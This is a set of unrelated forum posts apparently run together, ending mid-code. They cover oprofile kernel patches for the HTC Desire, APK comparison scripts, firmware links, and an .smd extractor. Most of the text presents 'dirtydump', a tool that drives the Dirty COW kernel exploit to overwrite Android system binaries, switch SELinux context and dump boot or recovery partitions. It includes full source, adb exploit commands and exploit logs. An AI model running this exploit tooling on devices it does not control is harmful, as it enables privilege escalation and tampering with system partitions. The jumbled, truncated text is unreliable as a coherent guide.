Hi All.
I have been trying to get oprofile to work on an htc desire. I am running an unlocked phone purchased in the fall of 2010. I have built a custom kernel based on a snapshot of the dream team kernel (also from fall 2010). Android infrastructure layer is cyanogenmod 6.0.1. I know most of this is pretty old and I may be updating in the next few months, but for the most part this combination has been working for me so I plan to keep it until I find a compelling reason to change (broken feature I need that is fixed in a newer version etc).
My goal at this point is to profile a custom Linux application (no java involved, no NDK) we have developed for the phone. The application runs, but we need to improve performance of the 'system'. gprof has given us a lot of information but now we want the data you get from oprofile (valgrind gives us a pretty clean bill of health).
The process so far:
I have ported critical changes from the latest opcontrol that properly set file permissions etc.
Rebuilt kernel with profiling support turned on
fixed a set of bugs in cpuid processing. The Cortex-A8 CPU on the HTC desire reports a cpuid of 0x510f00f2 which was not supported in perf_event.c. FYI, arch/arm/kernel/setup.c has a very different mechanism for determining CPU type.
When I run opcontrol to setup and start oprofile(d), everything seems to be working. oprofilefs loads up properly and oprofiled is running but I get no samples.
I instrumented the kernel code (pmu.c etc) to see where things go wrong and found that there are no calls to pmu_device_probe which is the only code that sets up the pmu_devices array.
Sample output of instrumented code:
<6>[ 5.424957] hw perfevents: enabled with ARMv7 Cortex-A8 PMU driver, 5 counters available
<6>[ 160.288909] PMU: reserve_pmu: pmu_devices[device] is NULL. device - 0
<4>[ 160.289001] hw perfevents: unable to reserve pmu
At this point I am at a loss for where to look next. Does anyone know what code on the HTC Desire is supposed to call pmu_device_probe? I can only assume that some function is being told about potential hardware and calling probe functions to validate that the hardware is actually present and functioning. I do not know where to find this code on the desire (I come from a custom hardware world where we used ltib). Can anyone point me in the right direction? Has anyone gotten oprofile to work on the HTC Desire?
Problem with oprofile on htc desire (bravo) - Resolved
I have gotten oprofile to work on a 2.6.35 based teamdesire kernel. I have included the sed lines from my scripts and a set of files I added to arc/arm/kernel.
In essence, the stock kernel does not recognize the scorpion cpu and the init.bravo file does not create an arm-pmu device to manage the Qualcomm PMU hardware. In early March Qualcomm published a patch to the 2.6.38 kernel that added partial scorpion support. That patch plus other changes is included in the attached files and implemented in the sed script snippets I have included here.
When the scripts are done you can control builing oprofile support by using the .config.oprofile vs .config.no.oprofile kernel config files
Here is what I do to create a report. NOTE: In my architecture I do not use opimport. It seems that opreport in ubuntu 10.04 LTS can read the arm files just fine. NOTE2: In my system adb is disabled so I cannot use adb pull (or I would).
set up the profiler
opcontrol --setup --event=CPU_CYCLES:15000:::1:1
start the profiler
opcontrol --start
stop the profiler - saves samples to ram
opcontrol --stop
copy the samples to the sdcard
cd /sdcard
mkdir oprofileSamples
cp -r /data/oprofile /sdcard/oprofileSamples/oprofile
move the files to the build machine (It MUST be the machine on which the files where built)
turn off the phone and move the sdcard to a computer
cp -r /sdcard/oprofileSamples/oprofile /someplaceOnTheBuildMachine/oprofileSamples/oprofile
Open up the update file and extract the Android environment to a single area. There are instructions on the web telling you how to do this
now get your report
cd /someplaceOnTheBuildMachine/oprofileSamples/oprofile - In this directory you should have a samples subdir and you should have an abi file.
opreport --symbols -g --session-dir=. -R /LocationOnTheBuildMachineYouHaveYourOutput/android/debug/image
###############################
# changes to the Android SDK to support oprofile
sed -i 's/ARM V7 PMNC", "arm\/armv7", CPU_ARM_V7, 5 },/ARM V7 PMNC", "arm\/armv7", CPU_ARM_V7, 5 },\
{ "ARM V7 SCORPION", "arm\/scorpion", CPU_ARM_V7, 5 },\
{ "ARM V7 SCORPIONMP", "arm\/scorpionMP", CPU_ARM_V7, 5 },/g' $SYSTEM_PATH/external/oprofile/libop/op_cpu_type.c || exit
sed -i 's/if (mkdir(OP_DATA_DIR, 755)) {/if (mkdir(OP_DATA_DIR, 0755)) {/g' $SYSTEM_PATH/external/oprofile/opcontrol/opcontrol.cpp || exit
sed -i 's/if (mkdir(OP_DATA_DIR"\/samples", 644)) {/if (mkdir(OP_DATA_DIR"\/samples", 0755)) {/g' $SYSTEM_PATH/external/oprofile/opcontrol/opcontrol.cpp || exit
sed -i 's/if (mkdir(OP_DRIVER_BASE, 644)) {/if (mkdir(OP_DRIVER_BASE, 644)) {\
if( EEXIST != errno )\
{/g' $SYSTEM_PATH/external/oprofile/opcontrol/opcontrol.cpp || exit
sed -i 's/if (system("mount -t oprofilefs nodev "OP_DRIVER_BASE)) {/}\
\
system("umount "OP_DRIVER_BASE);\
if (system("mount -t oprofilefs nodev "OP_DRIVER_BASE)) {/g' $SYSTEM_PATH/external/oprofile/opcontrol/opcontrol.cpp || exit
echo "Got here"
sed -i 's/python2.4 -E/python2 -E/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/\[-s serial_number\] \[-r\]/\[-s serial_number\] \[-i indir\] \[-r\]/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/serial_number: the device being profiled"/serial_number: the device being profiled"\
print " -i indir: directory on the host from which to read sample data"/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/"x86_64"/"x86_64_IgnoreMe"/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/arch_path = ""/arch_path = ""\
\
raw_samples_dir = "raw_samples"/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/if sys.argv\[1\] == "-s":/if (sys.argv\[1\] == "-s"):/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/os.makedirs(output_dir)/os.makedirs( output_dir + "\/" + raw_samples_dir )/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/if sys.argv\[argv_next\] == "-r" :/if sys.argv\[argv_next\] == "-i" :\
input_dir = "%s" % sys.argv\[argv_next+1\]\
print " input dir = ", input_dir\
skip_pull = 1\
argv_next = argv_next + 2\
else:\
skip_pull = 0\
input_dir = ""\
\
if sys.argv\[argv_next\] == "-r" :/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/output_dir = sys.argv\[argv_next+1\]/output_dir = sys.argv\[argv_next+1\]\
argv_next = argv_next + 1/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/get the samples off the phone/\
if (skip_pull == 1) :\
result = os.system("cp -r %s\/* %s\/raw_samples"\
" > \/dev\/null 2>\&1" % (input_dir, output_dir))\
if result != 0:\
print "failure to copy %s\/* %s\/raw_samples\/." % (input_dir, output_dir)\
sys.exit(1)\
else:/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
sed -i 's/f -name \\\*all")/f -name \\\*\\\.\\\*\\\.\\\*")/g' $SYSTEM_PATH/external/oprofile/opimport_pull || exit
# end changes to the Android SDK support oprofile
###############################
###############################
# changes to the 2.6.35 team desire kernel support oprofile
sed -i 's,return "arm/armv7-ca9";,return "arm/armv7-ca9"; \
case ARM_PERF_PMU_ID_SCORPION: \
return "arm/scorpion"; \
case ARM_PERF_PMU_ID_SCORPIONMP: \
return "arm/scorpion-mp"; ,g' $KERNEL_PATH/arch/arm/oprofile/common.c || exit
sed -i 's/ARM_PERF_PMU_ID_CA9,/ARM_PERF_PMU_ID_CA9, \
ARM_PERF_PMU_ID_SCORPION,\
ARM_PERF_PMU_ID_SCORPIONMP,/g' $KERNEL_PATH/arch/arm/include/asm/perf_event.h || exit
cd $BUILD_OUTPUT_PATH || exit
svn export -N svn+ssh://[email protected]/common/svn/repos/infrastructure/vendor_src/android/$ANDROID_VERSION/$KERNEL_VENDOR-$MODEL-perf_event-patch >> /dev/null || exit
cd $KERNEL_PATH/arch/arm/kernel || exit
rm -f perf_event.*
tar -xf $BUILD_OUTPUT_PATH/$KERNEL_VENDOR-$MODEL-perf_event-patch || exit
cp $KERNEL_PATH/.config $KERNEL_PATH/.config.no.oprofile || exit
cp $KERNEL_PATH/.config $KERNEL_PATH/.config.oprofile || exit
sed -i 's/# CONFIG_PERF_EVENTS is not set/CONFIG_PERF_EVENTS=y/g' $KERNEL_PATH/.config.oprofile || exit
sed -i 's/# CONFIG_PERF_COUNTERS is not set/CONFIG_PERF_COUNTERS=y\
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set/g' $KERNEL_PATH/.config.oprofile || exit
sed -i 's/# CONFIG_PROFILING is not set/CONFIG_PROFILING=y\
CONFIG_OPROFILE=y/g' $KERNEL_PATH/.config.oprofile || exit
sed -i 's/# CONFIG_HIGHMEM is not set/# CONFIG_HIGHMEM is not set\
CONFIG_HW_PERF_EVENTS=y/g' $KERNEL_PATH/.config.oprofile || exit
sed -i 's/CONFIG_HAVE_FUNCTION_TRACER=y/CONFIG_HAVE_FUNCTION_TRACER=y\
CONFIG_RING_BUFFER=y\
CONFIG_RING_BUFFER_ALLOW_SWAP=y/g' $KERNEL_PATH/.config.oprofile || exit
# end changes to support oprofile
###############################
Good luck and happy tuning.
Hi all,
I made a few rudimentary scripts to make the following tasks easier:
pull current apks from phone (except baked-in)
update apps in own ROM kitchen with updates downloaded on phone (in first step)
compare two roms and list added/removed/updated apps
pull.sh
Code:
#! /bin/bash
adb pull /data/app/
adb pull /mnt/asec/
find . -name pkg.apk | xargs -i dirname {} | xargs -i mv {}/pkg.apk {}.apk
find . -type d | xargs rmdir
(If you use a2sd you need to modify the script)
apkupdate.pl
Code:
#! /usr/bin/perl -w
# apkupdate.pl 2011-06-11 by ppenguin
# checks whether package X in DIR1 is available in DIR2, if so, compares the two based on
# parsed info: package name, version and label from aapt debug output
# and if the package version in DIR2 is newer than the one in DIR1, the latter one is replaced by the former
# this is useful in the following scenario:
# 1. pull all apks from phone to one dir (DIR2)
# 2. take working dir of ROM Kitchen as DIR1
# 3. update working dir with new apks and bake new ROM
my($rd) = $ARGV[0];
my($pd) = $ARGV[1];
my($aapt) = "aapt d badging";
my($r);
my(%rapks) = getapkinfo($rd);
my(%papks) = getapkinfo($pd);
foreach (keys %rapks) {
#print "$_: \t$rapks{$_}[0]\t$rapks{$_}[1]\t$rapks{$_}[2]\n";
if ($papks{$_}) {
if($rapks{$_}[1] ne $papks{$_}[1]) {
print "$rapks{$_}[0]: \tROM version: $rapks{$_}[1]\tphone version: $papks{$_}[1]\n";
print "Replacing ROM version with phone version...\n";
print "\trm $rd/$rapks{$_}[2]...\n";
$r = qx(rm $rd/$rapks{$_}[2]);
my($nfn) = $papks{$_}[2];
$nfn =~ s/(.*?)-\d+(.apk)/$1$2/g;
print "\tcp $pd/$papks{$_}[2] $rd/$nfn...\n";
$r = qx(cp $pd/$papks{$_}[2] $rd/$nfn);
}
}
}
# foreach (keys %papks) {
# print "$_: \t$papks{$_}[0]\t$papks{$_}[1]\t$papks{$_}[2]\n";
# }
sub getapkinfo {
my(@apks, $apkfile, $pn, $vn, $lb, @ai, %rpkg);
my($sd) = $_[0];
@apks = qx(find $sd -name "*.apk" | xargs -i basename {});
foreach (@apks) {
$apkfile = $_;
chomp($apkfile);
# print "about to exec \'$aapt $sd/$apkfile\'\n";
@ai = qx($aapt $sd/$apkfile);
foreach (@ai) {
if ($_ =~ /.*package: name=\'(.*?)\'.*versionName=\'(.*?)\'.*$/) {
$pn = $1;
$vn = $2;
}
if ($_ =~ /.*application: label=\'(.*?)\'.*/) {
$lb = $1;
}
}
# print $pn . " " . $vn . " " . $lb . "\n";
@rpkg{$pn} = [$lb, $vn, $apkfile];
}
return %rpkg;
}
apkromdiff.pl
Code:
#! /usr/bin/perl -w
# apkromdiff.pl 2011-06-11 by ppenguin
# lists added/removed/updated apps with name and version between
# two different ROMs (compare system/apps directories of both)
my($nd) = $ARGV[0];
my($od) = $ARGV[1];
my($aapt) = "aapt d badging";
my($r);
my(%napks) = getapkinfo($nd);
my(%oapks) = getapkinfo($od);
foreach (keys %napks) {
#print "$_: \t$napks{$_}[0]\t$napks{$_}[1]\t$napks{$_}[2]\n";
if ($oapks{$_}) {
if($napks{$_}[1] ne $oapks{$_}[1]) {
print "Updated:\t$napks{$_}[0]: \tversion: $oapks{$_}[1] to $napks{$_}[1]\n";
}
} else {
print "Added: $napks{$_}[0] $napks{$_}[1] ($_)\n";
}
}
foreach (keys %oapks) {
#print "$_: \t$napks{$_}[0]\t$napks{$_}[1]\t$napks{$_}[2]\n";
if (!$napks{$_}) {
print "Removed: $oapks{$_}[0] $oapks{$_}[1] ($_)\n";
}
}
# foreach (keys %oapks) {
# print "$_: \t$oapks{$_}[0]\t$oapks{$_}[1]\t$oapks{$_}[2]\n";
# }
sub getapkinfo {
my(@apks, $apkfile, $pn, $vn, $lb, @ai, %rpkg);
my($sd) = $_[0];
@apks = qx(find $sd -name "*.apk" | xargs -i basename {});
foreach (@apks) {
$apkfile = $_;
chomp($apkfile);
# print "about to exec \'$aapt $sd/$apkfile\'\n";
@ai = qx($aapt $sd/$apkfile);
foreach (@ai) {
if ($_ =~ /.*package: name=\'(.*?)\'.*versionName=\'(.*?)\'.*$/) {
$pn = $1;
$vn = $2;
}
if ($_ =~ /.*application: label=\'(.*?)\'.*/) {
$lb = $1;
}
}
# print $pn . " " . $vn . " " . $lb . "\n";
@rpkg{$pn} = [$lb, $vn, $apkfile];
}
return %rpkg;
}
These are quick hacks, but it works for me and saves a lot of time if you want to make updates to your existing ROMs.
Cheers
I9001XXKPU XXKPH OXAKP1
Flash + Odin :
hotfile.com/dl/140028931/367f5c4/i9001XXKPU_XXKPH_OXAKP1.rar.html
Regards!
Wish there was any change log available for stock rom updates...
Sent from my GT-I9001 using XDA App
Make them yourself, like I did:
1. Unzip/rar the file (just ignore the error)
2. Unpack system with Diskinternal Linux Reader
3. Compare the two with whatever file/dir compare tool you like (I use copyto for binary folder compare and ultracompare for file compare)
Good luck!
Regards,
Nika.
Sorry, first link have damaged MD5 checksums inside.
new one tested :
hotfile.com/dl/140028931/367f5c4/i9001XXKPU_XXKPH_OXAKP1.rar.html
I also edited first.
Lol, and I was trying to figure out why unpacking the smd did not work... thanks!
For whomever wants to know, you can extract an smd using this script (Linux or Cygwin):
Code:
#!/bin/bash
base=0
length=1
while (( length > 0 ))
do
# calculate Length
let "skip = base + 18"
length=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "length = length * 65536"
let "skip = base + 16"
length2=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "length += length2"
let "length = length / 512" # Number of 512-Byte blocks
# calculate offset
let "skip = base + 22"
offset=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "offset = offset * 65536"
let "skip = base + 20"
offset2=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "offset += offset2"
let "offset = offset / 512" # Number of 512-Byte blocks
# save header in case of first loop
if (( base == 0 ))
then
dd if=${1} bs=512 of=header count=${offset}
fi
# extract filename
let "skip = base + 32"
filename=`dd if=${1} skip=${skip} count=16 bs=1 2>/dev/null`
# and finally: extract image
if (( length > 0 ))
then
echo "Length: ${length}"
echo "Offset: ${offset}"
echo "Filename: ${filename}"
dd if=${1} bs=512 of=${filename} skip=${offset} count=${length} 2>/dev/null
fi
# next header
let "base += 64"
done
Hi,
A little tool or frontend that I've made and share to the community.
Intro
If you are like me :
Searching a way to backup your device, try some tools like SP Flash Tool, or MTK Droid Tools (for generating a Scatter File).
I have found a lot of thread, but I've allways got a dead end or a risk to brick the device (Never take a risk to brick your device if no stock rom available or backup).
A few days ago, i've found this thread : https://forum.xda-developers.com/v20/development/h918-recowvery-unlock-v20-root-shell-t3490594
It's not for my device, it's maybe not for your device, but help a lot to do our need. This exploit work for everyone and what to do the little tools below.
What's the change ?
Instead of that does jcadduono (a big thanks to him), via applypatch, it don't patch the recovery partition to run an Android in Permissive mode, my applypatch only open and read the boot or recovery partition and display all data to logging (binary converted to hex value).
Yes, I know, logging is not for that, it's realy hard-core, but it's the only way working. I've tried with socket, but SELinux in Enforced mode don't allow this.
You can see my recowvery-applypatch.c below :
Code:
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <fcntl.h>
#include <sys/stat.h>
#define APP_NAME "recowvery"
#define HOST_NAME "applypatch"
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, APP_NAME, __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { __android_log_print(ANDROID_LOG_ERROR, APP_NAME, __VA_ARGS__); fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#else
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#endif
#define SEP LOGV("------------")
#include "bootimg.h"
/* Time delay in microsecond for next loop (1000 = 1ms)
* 250 is good for every PC
* (you can try with 0 to boost the process, but you can have an <unexpected EOF>)
*/
#define DELAY_T 250
void delay(long t)
{
if (t == 0)
return;
long timens = t * 1000;
nanosleep((const struct timespec[]){{0, timens}}, NULL);
}
/*
* Search in *str the word *word.
* &rslt => Result, a sort of substr version of *str from 0 to the last char of the searched *word if found.
* &len => Length of &rslt.
*
* Return 0 if found or -1 if not found.
* (A substr like)
*/
int findStr(char *str, char *word, char** rslt, int* len)
{
int i = 0;
int j = 0;
int allmatch = 0;
char *temp;
*len = 0;
for (i = 0; i < (int)strlen(str); i++)
{
if (str[i] == word[0])
{
allmatch = 0;
for (j = 0; j < (int)strlen(word); j++)
{
if (str[i + j] != word[j])
{
allmatch = 1;
break;
}
}
if (allmatch == 0)
{
*len = i + strlen(word);
break;
}
}
}
if (*len != 0)
{
temp = malloc(*len);
for (i = 0; i < *len; i++)
temp[i] = str[i];
*rslt = temp;
return 0;
}
return -1;
}
/*
* run "mount" and find "/by-name/" from result.
* if matched, fill path var
* return 0 if success else -1
*/
int getBlockDevice(char** path)
{
FILE* cmd;
char br[512];
char* search = "/by-name/";
char* tmp;
int slength = 0;
cmd = popen("mount 2>&1", "r");
if (cmd)
{
/* Read result and try to find the first corresponding mount point */
while(fgets(br, sizeof br, cmd) != NULL)
{
/* If found, log the result */
if (findStr(br, search, &tmp, &slength) != -1)
{
/* Append "boot" (your can replace this by "recovery", "system") at the end */
sprintf(*path, "%srecovery", tmp);
break;
}
}
fclose(cmd);
}
else
{
LOGE("ERROR Getting filesystem mountpoint");
}
if (slength > 0)
return 0;
else
return -1;
}
int main(int argc, char **argv)
{
int ret = 0;
int i = 0;
LOGV("Welcome to %s! (%s)", APP_NAME, HOST_NAME);
char *blockDev = malloc(256);
if (getBlockDevice(&blockDev) == -1)
{
LOGE("ERROR : Could not find FileSystem mount point.");
ret = errno;
goto oops;
}
else
{
LOGV("BLOCK_DEVICE : %s", blockDev);
SEP;
}
/*
* Sometimes <applypatch> run before <dirtycow> finish its process that cause our device not ready to start <adb logcat -s recowvery>
* and we have to wait more than 3min...
* A little sleep of 30 sec ensure that our device is ready.
*/
LOGV("The process start in 30s");
sleep(30);
byte rb[32];
char *content = malloc(256);
FILE *fp;
size_t nread;
fp = fopen(blockDev, "r");
if (fp) {
LOGV("*** DUMP START ***");
while ((nread = fread(rb, 1, sizeof rb, fp)) > 0)
{
sprintf(content, "HEXDUMP = [");
for (i = 0; i < (int)nread; i++)
{
if (i == 0)
sprintf(content, "%s%.2x", content, rb[i]);
else
sprintf(content, "%s,%.2x", content, rb[i]);
}
sprintf(content, "%s];", content);
LOGV("%s", content);
/* sleep to prevent any unexpected EOF with with pipe stream */
delay(DELAY_T);
}
if (ferror(fp)) {
ret = errno;
LOGE("*** DUMP ERROR ***");
LOGE("Error while reading the file...");
}
LOGV("*** DUMP END ***");
fclose(fp);
}
else
{
LOGV("Can't read the file...");
ret = errno;
goto oops;
}
return 0;
oops:
LOGE("*** DUMP ERROR ***");
LOGE("Error %d: %s", ret, strerror(ret));
LOGE("Exiting...");
return ret;
}
Don't laugh please, I am very new in C
Ok, but about the tool ?
The tool is a frontend and easy to use, it copy exploit files for you, run exploit, read logging from adb and do the revert of applypatch (Convert hex to binary and write them to the image file) and finaly reboot your device when it's finish.
An example here :
Code:
~/Documents/dirtydump/bin/Debug$ ./dirtydump boot
***************
**** Init *****
***************
adb push ./bin/dirtycow /data/local/tmp
159 KB/s (9984 bytes in 0.061s)
adb push ./bin/recowvery-applypatch_boot /data/local/tmp
234 KB/s (10200 bytes in 0.042s)
adb push ./bin/recowvery-applypatch_recovery /data/local/tmp
238 KB/s (10200 bytes in 0.041s)
adb push ./bin/recowvery-app_process64 /data/local/tmp
240 KB/s (10200 bytes in 0.041s)
adb push ./bin/recowvery-app_process32 /data/local/tmp
411 KB/s (17992 bytes in 0.042s)
adb shell chmod 0777 /data/local/tmp/dirtycow
adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_boot
adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_recovery
adb shell chmod 0777 /data/local/tmp/recowvery-app_process64
adb shell chmod 0777 /data/local/tmp/recowvery-app_process32
* Android x64 version detected.
**********************
**** Run Exploit *****
**********************
adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_boot
warning: new file size (10200) and file old size (74712) differ
size 74712
[*] mmap 0x7faa6a7000
[*] exploit (patch)
[*] currently 0x7faa6a7000=10102464c457f
[*] madvise = 0x7faa6a7000 74712
[*] madvise = 0 1048576
[*] /proc/self/mem 1031798784 1048576
[*] exploited 0x7faa6a7000=10102464c457f
adb shell /data/local/tmp/dirtycow /system/bin/app_process64 /data/local/tmp/recowvery-app_process64
warning: new file size (10200) and file old size (22456) differ
size 22456
[*] mmap 0x7f8f303000
[*] exploit (patch)
[*] currently 0x7f8f303000=10102464c457f
[*] madvise = 0x7f8f303000 22456
[*] madvise = 0 1048576
[*] /proc/self/mem 2071986176 1048576
[*] exploited 0x7f8f303000=10102464c457f
*********************************
**** adb logcat -s recowvery ****
*********************************
--------- beginning of main
--------- beginning of system
--------- beginning of crash
01-24 15:40:37.206 5266 5266 I recowvery: Welcome to recowvery! (app_process64)
01-24 15:40:37.206 5266 5266 I recowvery: ------------
01-24 15:40:37.206 5266 5266 I recowvery: Current selinux context: u:r:zygote:s0
01-24 15:40:37.206 5266 5266 I recowvery: Set context to 'u:r:system_server:s0'
01-24 15:40:37.206 5266 5266 I recowvery: Current security context: u:r:system_server:s0
01-24 15:40:37.206 5266 5266 I recowvery: Setting property 'ctl.start' to 'flash_recovery'
01-24 15:40:37.211 5266 5266 I recowvery: ------------
01-24 15:40:37.211 5266 5266 I recowvery: Recovery flash script should have started!
01-24 15:40:37.211 5266 5266 I recowvery: Run on your PC or device to see progress: adb logcat -s recowvery
01-24 15:40:37.211 5266 5266 I recowvery: Waiting 3 minutes to try again (in case it didn't start or you forgot to dirtycow applypatch first)...
01-24 15:40:37.242 5269 5269 I recowvery: Welcome to recowvery! (applypatch)
01-24 15:40:37.272 5269 5269 I recowvery: BLOCK_DEVICE : /dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/boot
01-24 15:40:37.272 5269 5269 I recowvery: ------------
01-24 15:40:37.272 5269 5269 I recowvery: The process start in 30s
Start writing to file...
Block read : 524288 (Size : 16777216)
Finish
Image file saved here :
./boot.img
Rebooting your device...
************************
**** Reboot Device *****
************************
How to use ?
Extract all files from archive attached below in a directory of our choice.
./dirtydump boot : dump boot partition and store it to ./boot.img
./dirtydump recovery : dump recovery partition and store it to ./recovery.img
When all done, you have all to make your Custom Recovery for your device.
Requirements
<dirtycow> capable device.
Working adb (adb devices to check)
Linux distribution.
Source code
Code:
#include <iostream>
#include <stdio.h>
#include <regex>
using namespace std;
#define BOOT 0
#define RECOVERY 1
#define ANDROID_64 "64"
#define ANDROID_32 "32"
#ifdef __linux__
#define DIRECTORY_SEPARATOR "/"
#elif __APPLE__
#define DIRECTORY_SEPARATOR "/"
#else
#define DIRECTORY_SEPARATOR "\\"
#endif
typedef unsigned char byte;
static string appDirectory;
static string arch;
static FILE *fsout;
static bool startwrite = false;
static int ncrash = 0;
static int nBlock = 0;
static long currentSize = 0;
// Shorter regex is possible, but I prefer like that.
static regex rs("^.+I recowvery: (\\*\\*\\* DUMP START \\*\\*\\*)\\s+"); // Used to start writting binary file
static regex rl("^.+I recowvery: HEXDUMP = \\[([^\\]]+)\\];\\s+"); // Used to match all data block, and populate < datalist >
static regex rf("^.+I recowvery: (\\*\\*\\* DUMP END \\*\\*\\*)\\s+"); // Used to end writting, and exit infinit loop
static regex re("^.+I recowvery: (\\*\\*\\* DUMP ERROR \\*\\*\\*)\\s+"); // Used to intercept error from < recowvery-applypatch >
static regex radbe("^error:(.+)\\s+"); // ADB cmd error
static regex rarch("^.+(aarch64).*\\s+"); // Get arch from <uname -a>
/**
* Run command
* return : 0 if success else -1 if error
**/
int runcmd(string cmd)
{
char rslt[256];
int cmdv = 0;
FILE *fc = popen(cmd.c_str(), "r");
/* Redirect stderr to stdout */
cmd.append(" 2>&1");
// To remove the \n or \r\n at the end.
regex rcmdline("^(.+)\\s+");
if (fc)
{
while (fgets(rslt, sizeof rslt, fc) != NULL)
{
if (regex_match(string(rslt), rcmdline))
cout << regex_replace(string(rslt), rcmdline, "$1") << endl;
// If error matched, return -1
if (regex_match(rslt, radbe))
{
cmdv = -1;
break;
}
}
cout << endl;
fclose(fc);
}
else
{
cerr << "Error running '" << string(cmd) << "'" << endl;
return -1;
}
return cmdv;
}
/**
* Used to split string
* s : string to split (in)
* delim : used char for split (in)
* elems : string array result (out)
**/
void split(const string &s, char delim, vector<string> &elems) {
stringstream ss;
ss.str(s);
string item;
while (getline(ss, item, delim)) {
elems.push_back(item);
}
}
/**
* Used to split string
* s : string to split (in)
* delim : char delimeter (in)
* return : vector string
**/
vector<string> split(const string &s, char delim) {
vector<string> elems;
split(s, delim, elems);
return elems;
}
/** Convert hex string to byte array **/
void string_to_bytearray(std::string str, unsigned char* &array, int& size)
{
int length = str.length();
// make sure the input string has an even digit numbers
if(length%2 == 1)
{
str = "0" + str;
length++;
}
// allocate memory for the output array
array = new unsigned char[length/2];
size = length/2;
std::stringstream sstr(str);
for(int i=0; i < size; i++)
{
char ch1, ch2;
sstr >> ch1 >> ch2;
int dig1, dig2;
if(isdigit(ch1)) dig1 = ch1 - '0';
else if(ch1>='A' && ch1<='F') dig1 = ch1 - 'A' + 10;
else if(ch1>='a' && ch1<='f') dig1 = ch1 - 'a' + 10;
if(isdigit(ch2)) dig2 = ch2 - '0';
else if(ch2>='A' && ch2<='F') dig2 = ch2 - 'A' + 10;
else if(ch2>='a' && ch2<='f') dig2 = ch2 - 'a' + 10;
array[i] = dig1*16 + dig2;
}
}
/**
* Get architecture type
* Run <adb shell uname -a> and find the word : aarch64
* If found return <ANDROID_64> else <ANDROID_32>
**/
string getArchType()
{
char rslt[256];
string val;
FILE *fc = popen("adb shell uname -a", "r");
// To remove the \n or \r\n at the end.
if (fc)
{
while (fgets(rslt, sizeof rslt, fc) != NULL)
{
if (regex_match(string(rslt), rarch))
{
cout << "* Android x64 version detected." << endl;
val = string(ANDROID_64);
}
else
{
cout << "* Android x32 version detected." << endl;
val = string(ANDROID_32);
}
}
cout << endl;
fclose(fc);
}
else
{
cerr << "Error running 'adb shell uname -a'" << endl;
}
return val;
}
/**
* Display help
**/
void help()
{
cout << "dirtydump boot | recovery" << endl;
cout << "Usage :" << endl;
cout << "\tdirtydump boot : Dump device boot partition and save it to boot.img." << endl;
cout << "\tdirtydump recovery : Dump device recovery partition and save it to recovery.img." << endl << endl;
cout << "Information :" << endl;
cout << "\tThis app use the same exploit explained here : " << endl;
cout << "\thttps://github.com/jcadduono/android_external_dirtycow" << endl;
cout << "\tThe only difference is by the <applypatch>, instead of patching," << endl;
cout << "\tit read your boot / recovery partition." << endl;
cout << "\tConvert all data to hex value, and display it." << endl;
cout << "\tDuring the process, the app read all data through" <<endl;
cout << "\t<adb logcat -s recowvery> and do the reverse," << endl;
cout << "\tconvert all hex value to binary, and write it to a file." << endl;
cout << "\tBecause your device is like crashing, this app reboot" << endl;
cout << "\tautomaticaly when the process is finished." << endl;
cout << endl;
}
/**
* Initialize process.
* Push required files to your device and apply a chmod to them and exit.
**/
int init()
{
cout << "***************" << endl;
cout << "**** Init *****" << endl;
cout << "***************" << endl << endl;
string files[] = {"dirtycow",
"recowvery-applypatch_boot",
"recowvery-applypatch_recovery",
"recowvery-app_process64",
"recowvery-app_process32"};
string cmdlist[] = {"adb shell chmod 0777 /data/local/tmp/dirtycow",
"adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_boot",
"adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_recovery",
"adb shell chmod 0777 /data/local/tmp/recowvery-app_process64",
"adb shell chmod 0777 /data/local/tmp/recowvery-app_process32"};
char cmd[128];
/* Push files to the device */
for(auto s : files)
{
sprintf(cmd, "adb push %s%sbin%s%s /data/local/tmp", appDirectory.c_str(), DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, s.c_str());
cout << string(cmd) << endl;
if (runcmd(cmd) != 0)
return -1;
}
/* Apply chmod to the pushed files */
for(auto s : cmdlist)
{
cout << string(s) << endl;
if (runcmd(s) != 0)
return -1;
}
arch = getArchType();
if (arch.empty())
return -1;
return 0;
}
/**
* Apply exploit to applypatch (for boot or process) and app_process64
**/
int runExploit(int v)
{
cout << "**********************" << endl;
cout << "**** Run Exploit *****" << endl;
cout << "**********************" << endl << endl;
string cmdlist[] = {
"", // For applypatch
"" // For app_process
};
if (v == BOOT)
cmdlist[0].append("adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_boot");
else if (v == RECOVERY)
cmdlist[0].append("adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_recovery");
else
return -1;
if (arch == ANDROID_64)
cmdlist[1] = "adb shell /data/local/tmp/dirtycow /system/bin/app_process64 /data/local/tmp/recowvery-app_process64";
else
